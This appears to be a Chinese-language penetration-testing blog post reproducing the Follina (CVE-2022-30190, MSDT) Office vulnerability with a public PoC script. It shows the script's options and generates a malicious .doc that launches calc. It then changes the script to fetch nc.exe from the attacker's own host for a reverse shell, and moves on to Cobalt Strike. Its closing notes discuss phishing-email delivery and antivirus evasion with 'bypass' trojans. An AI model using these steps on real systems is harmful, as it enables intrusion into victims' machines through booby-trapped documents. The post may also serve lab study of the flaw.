【渗透测试】CVE-2022-30190 MSDT

CVE-2022-30190 MSDT

0x00 上线截图

MSDT

0x01 复现环境

1
2
3
4
5
6
7
8
9
Win10 1903

Office LTSC 专业增强版2021
//对版本,有大佬说全版本皆可,但实际复测中发现有的版本例如2016,2017均无法弹计算器
//猜测大佬应该是自定义的payload,而不是利用公开的PoC

https://github.com/JohnHammond/msdt-follina

kali

0x02 本地弹计算器

将PoC下载至本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\CVE-2022-30190\msdt-follina-main>python follina.py -h
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] [--reverse REVERSE]

optional arguments:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
--reverse REVERSE, -r REVERSE
port to serve reverse shell on

Win环境下脚本可能需要pip安装netifaces库,需要去https://pypi.python.org/pypi/netifaces 官网下载源码包和whl文件:

Untitled

最后在根目录下执行python setup.py install即可完整安装:

Untitled

在PoC目录运行python follina.py -i 127.0.0.1回车,脚本会自动进行监听,同时在目录生成follina.doc文件:

Untitled

点击follina.doc即可弹出计算器:

Untitled

0x03 反弹Shell&CS上线

将PoC拷贝到kali攻击机,打开follina.py文件,找到第111行commond位置:

Untitled

可以看到当前反弹Shell是通过从Github地址下载nc程序,但实际中Github地址可能无法访问下载,导致无法反弹回来,所以先将nc.exe程序下载到本地并开启监听,将原本的仓库地址改成本地监听的地址:

Untitled

此时运行python follina.py -r 9001会自动监听9001端口,在Win10机器打开文档,即可反弹Shell:

Untitled

有了Shell CS上线就容易了,直接powershell执行,截图见0x00。

0x04 实战思考

  • 网传利用方式最多的就是钓鱼邮件,如果payload真的通杀全版本,那么受害者只要点击就可以上线;
  • follina脚本反弹Shell是利用nc,但是实际中nc可能被杀,或许能够结合脚本的commond和CS&MSF免杀木马进行绕过;
  • 如果免杀跟不上的话,那么实际利用还是比较困难的,拿这个follina来说,Invoke基本全都被拦